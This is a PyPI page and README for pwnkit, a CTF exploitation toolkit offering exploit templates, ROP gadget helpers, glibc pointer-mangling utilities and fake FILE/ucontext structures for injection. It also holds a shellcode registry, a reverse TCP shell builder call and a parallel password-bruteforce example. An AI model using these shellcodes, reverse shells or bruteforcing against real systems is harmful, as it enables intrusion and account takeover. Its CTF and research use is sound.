pwnkit


Namepwnkit JSON
Version 0.2.21 PyPI version JSON
download
home_pageNone
SummaryAxura's reusable pwn utilities, gadgets, debugging, shellcodes, templates
upload_time2025-10-27 13:32:41
maintainerNone
docs_urlNone
authorNone
requires_python>=3.8
licenseMIT License Copyright (c) 2025 Axura Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
keywords ctf exploit heap pwn pwntools rop stack template
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # pwnkit

[![PyPI version](https://img.shields.io/pypi/v/pwnkit.svg)](https://pypi.org/project/pwnkit/)
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
[![Python Versions](https://img.shields.io/pypi/pyversions/pwnkit.svg)](https://pypi.org/project/pwnkit/)

Exploitation toolkit for pwn CTFs & Linux binary exploitation research.  
Includes exploit templates, I/O helpers, ROP gadget mappers, pointer mangling utilities, curated shellcodes, exploit gadgets, House of Maleficarum, gdb/helper scripts, etc.

---

## Installation

From [PyPI](https://pypi.org/project/pwnkit/):

**Method 1**. Install into **current Python environment** (could be system-wide, venv, conda env, etc.). use it both as CLI and Python API:

```bash
pip install pwnkit
```

**Method 2**. Install using `pipx` as standalone **CLI tools**:

```bash
pipx install pwnkit
```

**Method 3.** Install from source (dev):

```bash
git clone https://github.com/4xura/pwnkit.git
cd pwnkit
#
# Edit source code
#
pip install -e .
```

---

## Quick Start

### CLI

All options:
```bash
pwnkit -h
```
Create an exploit script template:
```bash
# Minimal setup to fill up by yourself
pwnkit xpl.py

# specify bin paths
pwnkit xpl.py --file ./pwn --libc ./libc.so.6 

# run target with args
pwnkit xpl.py -f "./pwn args1 args2 ..." -l ./libc.so.6 

# Override default preset with individual flags
pwnkit xpl.py -A aarch64 -E big

# Custom author signatures
pwnkit xpl.py -a john,doe -b https://johndoe.com
```
Example using default template:
```bash
$ pwnkit exp.py -f ./evil-corp -l ./libc.so.6 \
                -A aarch64 -E big \
                -a john.doe -b https://johndoe.com
[+] Wrote exp.py (template: pkg:default.py.tpl)

$ cat exp.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title : Linux Pwn Exploit
# Author: john.doe - https://johndoe.com
#
# Description:
# ------------
# A Python exploit for Linux binex interaction
#
# Usage:
# ------
# - Local mode  : python3 xpl.py
# - Remote mode : python3 [ <HOST> <PORT> | <HOST:PORT> ]
#

from pwnkit import *
from pwn import *
import sys

BIN_PATH   = './evil-corp'
LIBC_PATH  = './libc.so.6'
host, port = load_argv(sys.argv[1:])
ssl  = False
env  = {}
elf  = ELF(BIN_PATH, checksec=False)
libc = ELF(LIBC_PATH) if LIBC_PATH else None

Context('amd64', 'linux', 'little', 'debug', ('tmux', 'splitw', '-h')).push()
io = Config(BIN_PATH, LIBC_PATH, host, port, ssl, env).run()
alias(io)   # s, sa, sl, sla, r, rl, ru, uu64, g, gp
init_pr("debug", "%(asctime)s - %(levelname)s - %(message)s", "%H:%M:%S")

def exploit():

    # exploit chain here

    io.interactive()

if __name__ == "__main__":
    exploit()
```

Cleanest exploit script using the `minmal` template:
```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwnkit import *
from pwn import *
import sys

BIN_PATH   = None
LIBC_PATH  = None
host, port = load_argv(sys.argv[1:])
ssl  = False
env  = {}
elf  = ELF(BIN_PATH, checksec=False)
libc = ELF(LIBC_PATH) if LIBC_PATH else None

Context('amd64', 'linux', 'little', 'debug', ('tmux', 'splitw', '-h')).run()
io = Config(BIN_PATH, LIBC_PATH, host, port, ssl, env).init()
alias(io)	# s, sa, sl, sla, r, rl, ru, uu64, g, gp

def exploit(*args, **kwargs):
   
    # TODO: exploit chain

    io.interactive()

if __name__ == "__main__":
    exploit()
```

List available built-in templates:
```bash
$ pwnkit -lt
[*] Bundled templates:
   - default
   - full
   - got
   - heap
   - minimal
   - ret2libc
   - ret2syscall
   - setcontext
   - srop
   ...
```
Use a built-in template:
```bash
pwnkit exp.py -t heap
```

### Python API

We can use `pwnkit` as Python API, by import the project as a Python module.

Using the pwnkit CLI introduced earlier, we generate a ready-to-use exploit template that automatically loads the target binaries:

```py 
from pwnkit import *
from pwn import *

# - Loading (can be created by pwnkit cli)
BIN_PATH   = './vuln'
LIBC_PATH  = './libc.so.6'
host, port = load_argv(sys.argv[1:])    # return None for local pwn
ssl        = False                      # set True for SSL remote pwn
elf        = ELF(BIN_PATH, checksec=False)
libc       = ELF(LIBC_PATH) if LIBC_PATH else None	

io = Config(
    file_path = BIN_PATH,
    libc_path = LIBC_PATH,
    host      = host,
    port      = port,
    ssl       = ssl,
    env       = {},
).run()

# for IO
io.sendlineafter(b'\n', 0xdeadbeef)
io.sla(b'\n', 0xdeadbeef)

# This enable alias for: s, sa, sl, sla, r, ru, uu64
alias(io)

sla(b'\n', 0xdeadbeef)
```

#### Context Initialization

The first step is to initialize the exploitation context:

```py
Context(
    arch	  = "amd64"
    os		  = "linux"
    endian	  = "little"
    log_level = "debug"
    terminal  = ("tmux", "splitw", "-h")	# remove when no tmux
).push()
```

Or we can use the preset built-in contexts:

```py
ctx = Context.preset("linux-amd64-debug")
ctx.push()
```

A few preset options:

```
linux-amd64-debug
linux-amd64-quiet
linux-i386-debug
linux-i386-quiet
linux-arm-debug
linux-arm-quiet
linux-aarch64-debug
linux-aarch64-quiet
freebsd-amd64-debug
freebsd-amd64-quiet
...
```

#### ROP Gadgets

To leverage ROP gadgets, we first need to disclose the binary’s base address when it is dynamically linked, PIE enabled or ASLR in effect. For example, when chaining gadgets from `libc.so.6`, leak libc base:

```py
...
libc_base = 0x???
libc.address = libc_base
```

At this stage, with the `pwnkit` module, we are able to:

```py
ggs 	= ROPGadgets(libc)
p_rdi_r = ggs['p_rdi_r']
p_rsi_r = ggs['p_rsi_r']
p_rax_r = ggs['p_rax_r']
p_rsp_r = ggs['p_rsp_r']
p_rdx_rbx_r = ggs['p_rdx_rbx_r']
leave_r = ggs['leave_r']
ret 	= ggs['ret']
ggs.dump()  # dump all gadgets to stdout
```

The `dump()` method in the `ROPGadget` class allows us to validate gadget addresses dynamically at runtime:

![dump](images/ROPGadgets_dump.jpg)

#### Pointer Protection

In newer glibc versions, singly linked pointers (e.g., the `fd` pointers of tcache and fastbin chunks) are protected by Safe-Linking. The `SafeLinking` class can be used to perform the corresponding encrypt/decrypt operations:

```py
# e.g., after leaking heap_base for tcache
slk = SafeLinking(heap_base)
fd = 0x55deadbeef
enc_fd = slk.encrypt(fd)
dec_fd = slk.decrypt(enc_fd)

# Verify
assert fd == dec_fd
```

And the Pointer Guard mechanism applies to function pointers and C++ vtables, introducing per-process randomness to protect against direct overwrites. After leaking or overwriting the guard value, the `PointerGuard` class can be used to perform the required mangle/detangle operations:

```py
guard = 0xdeadbeef	# leak it or overwrite it
pg = PointerGuard(guard)
ptr = 0xcafebabe
enc_ptr = pg.mangle(ptr)
dec_ptr = pg.demangle(enc_ptr)

# Verify
assert ptr == dec_ptr
```

#### Shellcode Generation

The `pwnkit` module also provides a shellcode generation framework. It comes with a built-in registry of ready-made payloads across architectures, along with flexible builders for crafting custom ones. Below are some examples of listing, retrieving, and constructing shellcode:

```py
# 1) List all built-in available shellcodes
for name in list_shellcodes():
    print(" -", name)
    
print("")

# 2) Retrieve by arch + name, default variant (min)
sc = ShellcodeReigstry.get("amd64", "execve_bin_sh")
print(f"[+] Got shellcode: {sc.name} ({sc.arch}), {len(sc.blob)} bytes")
print(hex_shellcode(sc.blob))   # output as hex

print("")

sc.dump()   # pretty dump

print("")

# 3) Retrieve explicit variant
sc = ShellcodeReigstry.get("i386", "execve_bin_sh", variant=33)
print(f"[+] Got shellcode: {sc.name} ({sc.arch}), {len(sc.blob)} bytes")
print(hex_shellcode(sc.blob))

print("")

# 4) Retrieve via composite key
sc = ShellcodeReigstry.get(None, "amd64:execveat_bin_sh:29")
print(f"[+] Got shellcode: {sc.name}")
print(hex_shellcode(sc.blob))

print("")

# 5) Fuzzy lookup
sc = ShellcodeReigstry.get("amd64", "ls_")
print(f"[+] Fuzzy match: {sc.name}")
print(hex_shellcode(sc.blob))

print("")

# 6) Builder demo: reverse TCP shell (amd64)
builder = ShellcodeBuilder("amd64")
rev = builder.build_reverse_tcp_shell("127.0.0.1", 4444)
print(f"[+] Built reverse TCP shell ({len(rev)} bytes)")
print(hex_shellcode(rev))
```

Example output:

![shellcode](images/shellcode.jpg)

#### IO FILE Exploit

The `pwnkit` module also provides a helper for targeting glibc’s internal `_IO_FILE_plus` structures. The `IOFilePlus` class allows us to conveniently craft fake FILE objects:

```py
# By default, it honors `context.bits` to decide architecture
# e.g., we set Context(arch="amd64")
f = IOFilePlus()

# Or, we can specify one
f = IOFilePlus("i386")
```

Iterate fields of the FILE object:

```py
for field in f.fields:	# or f.iter_fileds()
    print(field)
```

Inspect its members offsets, names and sizes:

![iofile_fields](images/iofile_fields.jpg)

Set FILE members via names or aliases:

```py
# Use aliases
f.flags      = 0xfbad1800
f.write_base = 0x13370000
f.write_ptr  = 0x13370040
f.mode       = 0
f.fileno     = 1
f.chain      = 0xcafebabe
f.vtable     = 0xdeadbeef

# Also honors original glibc naming
f._flags = 0xfbad1800
f._IO_write_base = 0x13370000
```

We can also use the built-in `set()` method:

```py
# Set field via name 
f.set('_lock', 0x41414141)

# Set via a specific offset
f.set(116, 0x42424242)	# _flags2
```

Inspect the resulting layout in a structured dump for debugging:

```py
f.dump()

# Custom settings
f.dump(
    title = "your title",
    only_nonzero = True,		# default: False, so we also check Null slots
    show_bytes = True,			# default: True, "byte" column displayed
    highlight_ptrs = True,		# default: True, pointer members are highlighted
    color = True,				# default: True, turn off if you don't want colorful output
)
```

Dumping them in a pretty and readable format to screen:

![iofile_dump](images/iofile_dump.jpg)

Use the built-in `get()` method to retrieve a field value:

```py
# retrieve via name
vtable = f.get("vtable")

# via offset
vtable = f.get(0xd8)
```

Create a snapshot:

```py
snapshot = f.bytes	# or: f.to_bytes()

# Or use the `data` bytearray class member
snapshot2 = f.data

print(f"[+] IO FILE snapshot in bytes:\n{snapshot}\n{snapshot2})
```

![iofile_bytes](images/iofile_bytes.jpg)

Create an `IOFilePlus` object by importing a snapshot:

```py
f2 = IOFilePlus.from_bytes(blob=snapshot, arch="amd64")
```

> For example, we can dump an `IO_FILE_plus` structure data via pwndbg's `dump memory` command

Create a quick IO FILE struct template using the `load()` method:

```py
f = IOFilePlus("amd64")

# common fake _IO_FILE_plus for stdout-like layout
ff = {
    # housekeeping
    "_flags": 0xfbad0000,				  # 0x00               

    # readable window (no active read buffer)
    "_IO_read_ptr":  0,                   # 0x08
    "_IO_read_end":  0,                   # 0x10
    "_IO_read_base": 0,                   # 0x18

    # writable window
    "_IO_write_base":0x404300,            # 0x20
    "_IO_write_ptr": 0x404308,            # 0x28
    "_IO_write_end": 0,                   # 0x30        

    # backing buffer 
    "_IO_buf_base":  0,                   # 0x38
    "_IO_buf_end":   0,                   # 0x40
    "_IO_save_base": 0,                   # 0x48
    "_IO_backup_base": 0,                 # 0x50
    "_IO_save_end":  0,                   # 0x58

    # linkage & housekeeping
    "_markers":      0,                   # 0x60
    "_chain":        0,                   # 0x68
    "_fileno":       1,                   # 0x70
    "_flags2":       0,                   # 0x74
    "_old_offset":   0,                   # 0x78
    "_cur_column":   0,                   # 0x80
    "_vtable_offset":0,                   # 0x82
    "_shortbuf":     0,                   # 0x83
    "_lock":         0,                   # 0x88
    "_offset":       0,                   # 0x90
    "_codecvt":      0,                   # 0x98
    "_wide_data":    0,                   # 0xa0
    "_freeres_list": 0,                   # 0xa8
    "_freeres_buf":  0,                   # 0xb0
    "__pad5":        0,                   # 0xb8
    "_mode":         0,                   # 0xc0
    "_unused2":      0,                   # 0xc4

    # pivot: fake vtable 
    "vtable":        0xdeadbeefcafebabe,  # 0xd8
}

f.load(ff, strict=True)

# dump bytes for injection
blob = f.bytes
```

Or use raw-offset template (1:1 with glibc layout):

```py
f = IOFilePlus("amd64")
f.load([
    (0x00, 0xfbad0000),           # _flags (4)
    (0x08, 0x404100),             # _IO_read_ptr
    (0x10, 0x404200),             # _IO_read_end
    (0x18, 0x0),                  # _IO_read_base
    (0x20, 0x404300),             # _IO_write_base
    (0x28, 0x404308),             # _IO_write_ptr
    (0x30, 0x0),                  # _IO_write_end
    (0x38, 0x0),                  # _IO_buf_base
    (0x40, 0x0),                  # _IO_buf_end
    (0x48, 0x0),                  # _IO_save_base
    (0x50, 0x0),                  # _IO_backup_base
    (0x58, 0x0),                  # _IO_save_end
    (0x60, 0x0),                  # _markers
    (0x68, 0x0),                  # _chain
    (0x70, 0x1),                  # _fileno
    (0x74, 0x0),                  # _flags2
    (0x78, 0x0),                  # _old_offset
    (0x80, 0x0),                  # _cur_column (2B)
    (0x82, 0x0),                  # _vtable_offset (1B, signed)
    (0x83, 0x0),                  # _shortbuf (1B)
    (0x88, 0x0),                  # _lock
    (0x90, 0x0),                  # _offset
    (0x98, 0x0),                  # _codecvt
    (0xa0, 0x0),                  # _wide_data
    (0xa8, 0x0),                  # _freeres_list
    (0xb0, 0x0),                  # _freeres_buf
    (0xb8, 0x0),                  # __pad5 (4B)
    (0xc0, 0x0),                  # _mode (4B)
    (0xd8, 0xdeadbeefcafebabe),   # vtable
], strict=True)
```

#### Ucontext Buffering

We are not here to discuss how to exploit with the `ucontext_t` buffer in glibc. This involves:

```c
extern int setcontext (const ucontext_t *__ucp)
```

Usually we leverage its runtime gadgets in `setcontext+61` ([example](https://4xura.com/binex/orw-open-read-write-pwn-a-sandbox-using-magic-gadgets/#toc-head-7)) or `setcontext+32` ([example](https://4xura.com/binex/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/#toc-head-22))

Using `pwnkit` we can quickly initiate a `ucontext_t` struct buffer:

```py
uc = UContext("amd64")          # defaults to amd64 if context.bits==64 anyway
print(hex(uc.size))             # 0x3c8
```

Set a few GPRs + RIP/RSP (aliases or full names):

```py
# full dotted name (case sensitive)
uc.set("uc_mcontext.gregs.RIP", 0x4011d0)         

# sugars (case sensitive)
uc.set_reg("rdi", 0x1337)	    	# set registers                     
uc.set_stack(						# set signal stack
    sp    = 0x7fffffff0000,
    size  = 0x1111,
    flags = 0xdeadbeef
)    

# aliases (case insensitive)
uc.set("RSP", 0x7fffffff0000)		# field name alias 
uc.rsi = 0x2222						# property alias 

# same via bulk
uc.load({
    "RAX": 0, "RBX": 0, "RCX": 0, "RDX": 0,
    # "RSI": 0x2222,
    "efl": 0x202,                                 # (case insensitive)
})
uc.dump(only_nonzero=True)
```

![ucontext_set](images/ucontext_set.jpg)

Set/unset signals (sigset_t @ 0x128, 128 bytes in x86_64):

```py
# block SIGALRM (14) + SIGINT (2)
uc.set_sigmask_block([14, 2])

# OR explicit by bytes
raw_mask = b"\x00" * 0x80
uc.set("uc_sigmask[128]", raw_mask)
```

FPU: fldenv pointer + MXCSR:

```py
# build a classic 28-byte FSAVE environment and place it somewhere in mem you control
env28 = fsave_env_28(fcw=0x037F)  # sane default
fake_env_addr = 0x404000          # wherever your R/W buffer will live

# write env28 there via your exploit (not shown); now point fpregs to it:
uc.set_fpu_env_ptr(fake_env_addr)
# or use alias
uc.fldenv_ptr = fake_env_addr

# set MXCSR inside the inline __fpregs_mem (FXSAVE blob inside ucontext)
uc.mxcsr = 0x1F80
# or explicitly:
uc.set("__fpregs_mem.mxcsr", 0x1F80)

uc.dump()
```

![ucontext_fsave](images/ucontext_fsave.jpg)

Absolute offsets when you’re speedrunning:

```py
# write RIP via absolute offset (0xA8 inside ucontext)
uc.set(0xA8, 0xdeadbeefcafebabe)

# patch arbitrary blob (raw write; no name resolution)
uc.patch(0x1A8, (0x037F).to_bytes(2, "little"))  # fcw in __fpregs_mem
```

Bulk load (dict or list of pairs):

```py
uc.load({
    "rdi": 0xdeadbeef,
    "rsi": 0xcafebabe,
    "rsp": 0x7fffffeee000,
    "rip": 0x4011d0,
    "mxcsr": 0x1F80,
})

# or: list of [(field, value)] with mixed names/offsets
uc.load([
    ("rbx", 0),
    (0x128, b"\x00"*0x80),          # sigmask
])
```

Serialize → payload glue:

```py
payload = b"A"*0x100
payload += uc.bytes                # or uc.to_bytes()

# drop into whatever vector you have (overwrite on stack, heap chunk, etc.)
# e.g. send(payload) or write to file
```

Parse from an existing blob (read–modify–write):

```py
blob = b"\x00"*0x3C8
uc2 = UContext.from_bytes(blob, arch="amd64")
```

Quick template — instantiate `UContext` and feed it your dict straight into `.load()`:

```py
uc = UContext("amd64")

uc.load({
    # gregs
    "R8":  0,		# 0x28
    "R9":  0,		# 0x30
    "R12": 0,		# 0x48
    "R13": 0,		# 0x50
    "R14": 0,		# 0x58
    "R15": 0,		# 0x60
    "RDI": 0,		# 0x68
    "RSI": 0,		# 0x70
    "RBP": 0,		# 0x78
    "RBX": 0,		# 0x80
    "RDX": 0,		# 0x88
    "RAX": 0,		# 0x90
    "RCX": 0,		# 0x98
    "RSP": 0x7fffffff0000,	# 0xA0
    "RIP": 0xdeadbeef,     	# 0xA8

    # floating point stuff
    "FPREGS": 0x404000,    	# 0xB0: fldenv pointer
    "MXCSR":  0x1F80,      	# 0x1C0: default safe SSE state
})

# dump bytes for injection
blob = uc.bytes   
```

Or if you prefer positional offset style:

```py
uc = UContext("amd64")
uc.load([
    (0x28, 0),         # R8
    (0x30, 0),         # R9
    (0x48, 0),         # R12
    (0x50, 0),         # R13
    (0x58, 0),         # R14
    (0x60, 0),         # R15
    (0x68, 0),         # RDI
    (0x70, 0),         # RSI
    (0x78, 0),         # RBP
    (0x80, 0),         # RBX
    (0x88, 0),         # RDX
    (0x90, 0),         # RAX
    (0x98, 0),         # RCX
    (0xA0, 0x7fffffff0000), # RSP
    (0xA8, 0xdeadbeef),     # RIP
    (0xE0, 0x404000),       # fpregs ptr
    (0x1C0, 0x1F80),        # mxcsr
])
blob = uc.bytes
```

#### Function Decorators

See examples in [src/pwnkit/decors.py](https://github.com/4xura/pwnkit/blob/main/src/pwnkit/decors.py).

##### Common function helpers

```python
# - Coerce funtion arguments with transformers
#   e.g., for a heap exploitation menu I/O:
@argx(by_name={"n":itoa})
def menu(n: int):
    sla(b"choice: ", opt)       # convert arg `n` to string bytes

@argx(by_type={int:itoa})
def alloc(idx: int, sz: int, ctx: bytes): 
    menu(1)                     # convert 1 to b"1"
    sla(b"index: ", idx)        # convert integer arg `idx` to string bytes
    sla(b"size: ", sz)          # convert integer arg `sz` to string bytes
    sla(b"content: ", ctx)		# this is not affected


# - Print the fully-qualified function name and raw args/kwargs
#   this can be helpful in fuzzing tasks, that we know when func is called
@pr_call
def fuzz(x, y=2):
	return x ** y

fuzz(7, y=5)	# call __main__.fuzz args=(7,) kwargs={'y': 5}


# - Count how many times a function is called 
#   exposes .calls and .reset()
@counter
def f(a, b): 
    print(f"{a}+{b}={a+b}")

f(1,2)			# Call 1 of f ... 1+2=3
f(5,5)			# Call 2 of f ... 5+5=10
print(f.calls)  # 2
f.reset()
print(f.calls)  # 0


# - Sleep before and after the call (seconds).
@sleepx(before=0.10, after=0.10)
def poke():
	...

@sleepx(before=0.2)
async def task():


# - Print how long the call took (ms)
@timer
def fuzz(x, y=2):
	return x ** y

fuzz(7, y=5)	# __main__.fuzz took 0.001 ms

...

```
##### Bruteforcer

When we need brute forcing (TODO: improve this decorator!):

```python
# 1) Simple repeat n times (sequential)
@bruteforcer(times=5)
def probe():
    print("probing")
    return False

# returns [False, False, False, False, False]
res = probe()


# 2) Pass attempt index to function (useful for permutations)
@bruteforcer(times=3, pass_index=True)
def try_pin(i):
    print("attempt", i)

try_pin()
# prints:
# attempt 0
# attempt 1
# attempt 2


# 3) Use a list of candidate inputs (typical bruteforce passwords)
candidates = ["admin", "1234", "password", "letmein"]

# build inputs as iterable of (args, kwargs) pairs
inputs = (( (pw,), {} ) for pw in candidates)

@bruteforcer(inputs=inputs, until=lambda r: r is True)
def attempt_login(password):
    # attempt_login returns True on success, False/None on failure
    return fake_try_login(password)

result = attempt_login()
# result will be True (stops early) or None if no candidate worked


# 4) Parallel bruteforce (threads)
@bruteforcer(inputs=((pw,) for pw in candidates), until=lambda r: r is True, parallel=8)
def attempt_login(password):
    return fake_try_login(password)
```

#### Others

More modules are included in the `pwnkit` source, but some of them are currently for personal scripting conventions, or are under beta tests. You can add your own modules under `src/pwnkit`, then embed them into `src/pwnkit/__init__.py`. 

When we want module symbols to be parsed via code editors (e.g., vim, vscode) for auto grammar suggestion, we can run this to export symbols all-at-once:

```bash
python3 tools/gen_type_hints.py
```

---

## Custom Templates

Templates (`*.tpl` or `*.py.tpl`) are rendered with a context dictionary.
Inside your template file you can use Python format placeholders (`{var}`) corresponding to:

 | Key           | Meaning                                                      |
 | ------------- | ------------------------------------------------------------ |
 | `{arch}`      | Architecture string (e.g. `"amd64"`, `"i386"`, `"arm"`, `"aarch64"`) |
 | `{os}`        | OS string (currently `"linux"` or `"freebsd"`)               |
 | `{endian}`    | Endianness (`"little"` or `"big"`)                           |
 | `{log}`       | Log level (e.g. `"debug"`, `"info"`)                         |
 | `{term}`      | Tuple of terminal program args (e.g. `("tmux", "splitw", "-h")`) |
 | `{file_path}` | Path to target binary passed with `-f/--file`                |
 | `{libc_path}` | Path to libc passed with `-l/--libc`                         |
 | `{host}`      | Remote host (if set via `-i/--host`)                         |
 | `{port}`      | Remote port (if set via `-p/--port`)                         |
 | `{io_line}`   | Pre-rendered code line that initializes the `Tube`           |
 | `{author}`    | Author name from `-a/--author`                               |
 | `{blog}`      | Blog URL from `-b/--blog`                                    |

Use your own custom template (`*.tpl` or `*.py.tpl`):
```bash
pwnkit exp.py -t ./mytpl.py.tpl
```
Or put it in a directory and point `PWNKIT_TEMPLATES` to it:
```bash
export PWNKIT_TEMPLATES=~/templates
pwnkit exploit.py -t mytpl
```
For devs, you can also place your exploit templates (which is just a Python file of filename ending with `tpl` suffix) into [`src/pwnkit/templates`](https://github.com/4xura/pwnkit/tree/main/src/pwnkit/templates), before cloning and building to make a built-in. You are also welcome to submit a custom template there in this repo for a pull request!

---

## TODO

* Move the template feature under mode `template`
* Create other modes (when needed)
* Fill up built-in exploit tempaltes
* More Python exloit modules, e.g., decorators, heap exploit, etc.


            

Raw data

            {
    "_id": null,
    "home_page": null,
    "name": "pwnkit",
    "maintainer": null,
    "docs_url": null,
    "requires_python": ">=3.8",
    "maintainer_email": null,
    "keywords": "ctf, exploit, heap, pwn, pwntools, rop, stack, template",
    "author": null,
    "author_email": "Axura <asuraulord@gmail.com>",
    "download_url": "https://files.pythonhosted.org/packages/76/d4/b458a7905ff9a743f6933c522c65106a7136d42ac2dea916ae77f9db47b6/pwnkit-0.2.21.tar.gz",
    "platform": null,
    "description": "# pwnkit\n\n[![PyPI version](https://img.shields.io/pypi/v/pwnkit.svg)](https://pypi.org/project/pwnkit/)\n[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)\n[![Python Versions](https://img.shields.io/pypi/pyversions/pwnkit.svg)](https://pypi.org/project/pwnkit/)\n\nExploitation toolkit for pwn CTFs & Linux binary exploitation research.  \nIncludes exploit templates, I/O helpers, ROP gadget mappers, pointer mangling utilities, curated shellcodes, exploit gadgets, House of Maleficarum, gdb/helper scripts, etc.\n\n---\n\n## Installation\n\nFrom [PyPI](https://pypi.org/project/pwnkit/):\n\n**Method 1**. Install into **current Python environment** (could be system-wide, venv, conda env, etc.). use it both as CLI and Python API:\n\n```bash\npip install pwnkit\n```\n\n**Method 2**. Install using `pipx` as standalone **CLI tools**:\n\n```bash\npipx install pwnkit\n```\n\n**Method 3.** Install from source (dev):\n\n```bash\ngit clone https://github.com/4xura/pwnkit.git\ncd pwnkit\n#\n# Edit source code\n#\npip install -e .\n```\n\n---\n\n## Quick Start\n\n### CLI\n\nAll options:\n```bash\npwnkit -h\n```\nCreate an exploit script template:\n```bash\n# Minimal setup to fill up by yourself\npwnkit xpl.py\n\n# specify bin paths\npwnkit xpl.py --file ./pwn --libc ./libc.so.6 \n\n# run target with args\npwnkit xpl.py -f \"./pwn args1 args2 ...\" -l ./libc.so.6 \n\n# Override default preset with individual flags\npwnkit xpl.py -A aarch64 -E big\n\n# Custom author signatures\npwnkit xpl.py -a john,doe -b https://johndoe.com\n```\nExample using default template:\n```bash\n$ pwnkit exp.py -f ./evil-corp -l ./libc.so.6 \\\n                -A aarch64 -E big \\\n                -a john.doe -b https://johndoe.com\n[+] Wrote exp.py (template: pkg:default.py.tpl)\n\n$ cat exp.py\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# Title : Linux Pwn Exploit\n# Author: john.doe - https://johndoe.com\n#\n# Description:\n# ------------\n# A Python exploit for Linux binex interaction\n#\n# Usage:\n# ------\n# - Local mode  : python3 xpl.py\n# - Remote mode : python3 [ <HOST> <PORT> | <HOST:PORT> ]\n#\n\nfrom pwnkit import *\nfrom pwn import *\nimport sys\n\nBIN_PATH   = './evil-corp'\nLIBC_PATH  = './libc.so.6'\nhost, port = load_argv(sys.argv[1:])\nssl  = False\nenv  = {}\nelf  = ELF(BIN_PATH, checksec=False)\nlibc = ELF(LIBC_PATH) if LIBC_PATH else None\n\nContext('amd64', 'linux', 'little', 'debug', ('tmux', 'splitw', '-h')).push()\nio = Config(BIN_PATH, LIBC_PATH, host, port, ssl, env).run()\nalias(io)   # s, sa, sl, sla, r, rl, ru, uu64, g, gp\ninit_pr(\"debug\", \"%(asctime)s - %(levelname)s - %(message)s\", \"%H:%M:%S\")\n\ndef exploit():\n\n    # exploit chain here\n\n    io.interactive()\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\nCleanest exploit script using the `minmal` template:\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom pwnkit import *\nfrom pwn import *\nimport sys\n\nBIN_PATH   = None\nLIBC_PATH  = None\nhost, port = load_argv(sys.argv[1:])\nssl  = False\nenv  = {}\nelf  = ELF(BIN_PATH, checksec=False)\nlibc = ELF(LIBC_PATH) if LIBC_PATH else None\n\nContext('amd64', 'linux', 'little', 'debug', ('tmux', 'splitw', '-h')).run()\nio = Config(BIN_PATH, LIBC_PATH, host, port, ssl, env).init()\nalias(io)\t# s, sa, sl, sla, r, rl, ru, uu64, g, gp\n\ndef exploit(*args, **kwargs):\n   \n    # TODO: exploit chain\n\n    io.interactive()\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\nList available built-in templates:\n```bash\n$ pwnkit -lt\n[*] Bundled templates:\n   - default\n   - full\n   - got\n   - heap\n   - minimal\n   - ret2libc\n   - ret2syscall\n   - setcontext\n   - srop\n   ...\n```\nUse a built-in template:\n```bash\npwnkit exp.py -t heap\n```\n\n### Python API\n\nWe can use `pwnkit` as Python API, by import the project as a Python module.\n\nUsing the pwnkit CLI introduced earlier, we generate a ready-to-use exploit template that automatically loads the target binaries:\n\n```py \nfrom pwnkit import *\nfrom pwn import *\n\n# - Loading (can be created by pwnkit cli)\nBIN_PATH   = './vuln'\nLIBC_PATH  = './libc.so.6'\nhost, port = load_argv(sys.argv[1:])    # return None for local pwn\nssl        = False                      # set True for SSL remote pwn\nelf        = ELF(BIN_PATH, checksec=False)\nlibc       = ELF(LIBC_PATH) if LIBC_PATH else None\t\n\nio = Config(\n    file_path = BIN_PATH,\n    libc_path = LIBC_PATH,\n    host      = host,\n    port      = port,\n    ssl       = ssl,\n    env       = {},\n).run()\n\n# for IO\nio.sendlineafter(b'\\n', 0xdeadbeef)\nio.sla(b'\\n', 0xdeadbeef)\n\n# This enable alias for: s, sa, sl, sla, r, ru, uu64\nalias(io)\n\nsla(b'\\n', 0xdeadbeef)\n```\n\n#### Context Initialization\n\nThe first step is to initialize the exploitation context:\n\n```py\nContext(\n    arch\t  = \"amd64\"\n    os\t\t  = \"linux\"\n    endian\t  = \"little\"\n    log_level = \"debug\"\n    terminal  = (\"tmux\", \"splitw\", \"-h\")\t# remove when no tmux\n).push()\n```\n\nOr we can use the preset built-in contexts:\n\n```py\nctx = Context.preset(\"linux-amd64-debug\")\nctx.push()\n```\n\nA few preset options:\n\n```\nlinux-amd64-debug\nlinux-amd64-quiet\nlinux-i386-debug\nlinux-i386-quiet\nlinux-arm-debug\nlinux-arm-quiet\nlinux-aarch64-debug\nlinux-aarch64-quiet\nfreebsd-amd64-debug\nfreebsd-amd64-quiet\n...\n```\n\n#### ROP Gadgets\n\nTo leverage ROP gadgets, we first need to disclose the binary\u2019s base address when it is dynamically linked, PIE enabled or ASLR in effect. For example, when chaining gadgets from `libc.so.6`, leak libc base:\n\n```py\n...\nlibc_base = 0x???\nlibc.address = libc_base\n```\n\nAt this stage, with the `pwnkit` module, we are able to:\n\n```py\nggs \t= ROPGadgets(libc)\np_rdi_r = ggs['p_rdi_r']\np_rsi_r = ggs['p_rsi_r']\np_rax_r = ggs['p_rax_r']\np_rsp_r = 